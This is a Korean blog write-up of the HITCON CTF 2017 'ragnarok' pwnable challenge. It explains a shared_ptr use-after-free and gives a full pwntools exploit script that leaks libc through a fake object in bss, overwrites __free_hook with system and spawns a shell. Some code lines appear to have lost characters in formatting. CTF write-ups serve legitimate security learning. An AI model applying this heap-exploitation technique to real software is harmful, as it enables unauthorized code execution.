ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HITCON CTF 2017 ragnarok
    Pwnable/CTF 2018. 2. 1. 16:24

    오류때문에 푸는데 오래걸린것같다. 
    odin weapon 이름이 Gungnir 이라면 this 포인터로 shared_ptr을 만드는데 이곳에서 취약점이 생긴다. this <- new shared_ptr < - X 

    참조 하는것이 이런식으로되는데 

    new_shared_ptr 은 this 포인터와 주소는 같지만 이번에 새로 만드는것이라 new shread_ptr을 참조카운터는 0이기때문에 함수가 끝나게되면 new shared_ptr도 같이 delete가 되면서 UAF가 가능해진다.

    저렇게 free를하면 vtable도 같이 사라지는데 이때 우리가 할수있는것은 earn_money, chagne description 이다.

    earn_money는 딱히 쓸모가없고 description으로 공격을할수있다.


    string 객체를 40개 넣으면 free를 하고 다시 할당해야되기때문에 위에서 delete를 했었기때문에 double free bug오류가나는데 그것보다 훨씬 큰 90? 이상정도넣으면 free가되는것이아니라 0x80 사이즈로 바뀌면서(string객체 테스트 결과) odin ptr부분에 uaf를 하게되어서 값을덮을수있다.

    그렇게하여서 bss에 fake class? 를 만들어주어서 puts를 릭을해주고 description change로 free_hook을 덮을수있다.

    원래 bss에 안 하고 바로 heap에다가 공격할려했는데 heap을 free시키고 내가 description으로 조작한곳으로 입력을 하는바람에 heap에다가 공격을하지않았다.



    vtable을 덮거나, malloc_hook을 덮어서 one_shot을 할려고하면 can't open 에러가 떠서 free_hook을 덮어서 weapon을 입력할때 무기가 있는지 체크하기전에 string에 값을넣기때문에 조금 많은값을 넣게되면 작은 사이즈를 free를 시키고 다시할당하는데 그 때 free가 되는것을 이용하여서 쉘을 딸수있다.




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    from pwn import *
    from ctypes import *
    import sys
     
    p=process('./ragnarok.bin')
    libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
    libc.srand(libc.time(0))
    elf=ELF('./ragnarok.bin')
    = libc.rand() % 3 + 1
    print i
     
    def choose(figure):
        p.sendlineafter('choice :','1')
        p.sendlineafter(':',str(figure))
     
    def show():
        p.sendlineafter('choice :','2')
     
    def earnMoney(get):
        charset = 'hitcon'
        p.sendlineafter('choice :','3')
        p.recvuntil('station')
        for i in range(get):
            libc.usleep(100000)
            idx = int(libc.rand()) % 6
            c = libc.rand() % 0x5e + 0x21
            padding = libc.rand() % 0x42
            p.sendlineafter('Magic : ',charset[idx])
        p.sendlineafter('Magic : ','q')
     
    def weapon(name):
        p.sendlineafter('choice :','4')
        p.sendlineafter('weapon :',name)
     
    def fight(action):
        p.sendlineafter('choice :','5')    
        while(True):
            p.recv(2048)
            p.sendline(str(action))
            if action == 3:
                p.sendlineafter('Target :','1')
            print p.recvline()
            condition = p.recvline() *2
            condition += p.recv(54)
            if 'die' in condition:
                return -1
            elif 'win' in condition:
                return 0
            elif 'no power' in condition:
                return -1
            else:
                continue
     
    def changeDes(des):
        p.sendlineafter('choice :','6')
        p.sendlineafter(': ',des)
     
    def win():
        choose(3)
        condition = fight(3)
        if condition == -1:
            sys.exit(0)
        return condition
     
    def lose(replay):
        fight(1)
        p.sendlineafter(':',str(replay))
     
     
    earnMoney(6)
    win()
    p.sendlineafter('Name :','a'*4)
    lose(1#replay
    #win()
    #lose(1)
    choose(1)
    weapon('Gungnir'#uaf
    #bss = 0x6137c8
    bss = 0x613650
     
    payload = p64(0x613670)
    payload += p64(0x613700)
    payload += p64(0x610f90#my name
    payload += p64(0x8#my name len
    payload += p64(0x40c700#vtable
    payload += p64(0x613650)          #char name start
    payload += p64(0x8#money,highmoney == name_len
    payload += 'A'*16 #char name end
    payload += p64(0x613680#0x613650
    payload += p64(0x78)
    payload += 'B'*16 #char des end
    payload += p64(0x613700#char weapon start
    payload += p64(0#char weapon end
     
    changeDes(payload)
    sleep(1)
    show()
    p.recvuntil('Name : ')
    puts = u64(p.recv(8))
    libc_base = puts - 0x6f690
    system = libc_base + 0x45390
    one_shot = libc_base  + 0xf1147
    malloc_hook = libc_base + 0x3c4b10
    free_hook = libc_base + 0x3c67a8
    print hex(puts)
    print hex(libc_base)
    print hex(one_shot)
    changeDes(p64(0x99999999)+'A'*16+p64(free_hook)+p64(0x78))
    #money,highmoney, cahr name end, description ptr + len change
    changeDes(p64(system))
    weapon('/bin/sh'+'\x00'*20)
     
    p.interactive()
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    코드게이트 2018 풀이 보고서  (0) 2018.02.07
    Codegate 2018 SuperFTP  (0) 2018.02.05
    HITCON CTF 2017 babyfs  (0) 2018.01.30
    defcon 2016 pillpusher  (1) 2018.01.24
    insomnihack CTF 2018 sapeloshop  (0) 2018.01.23
Designed by Tistory.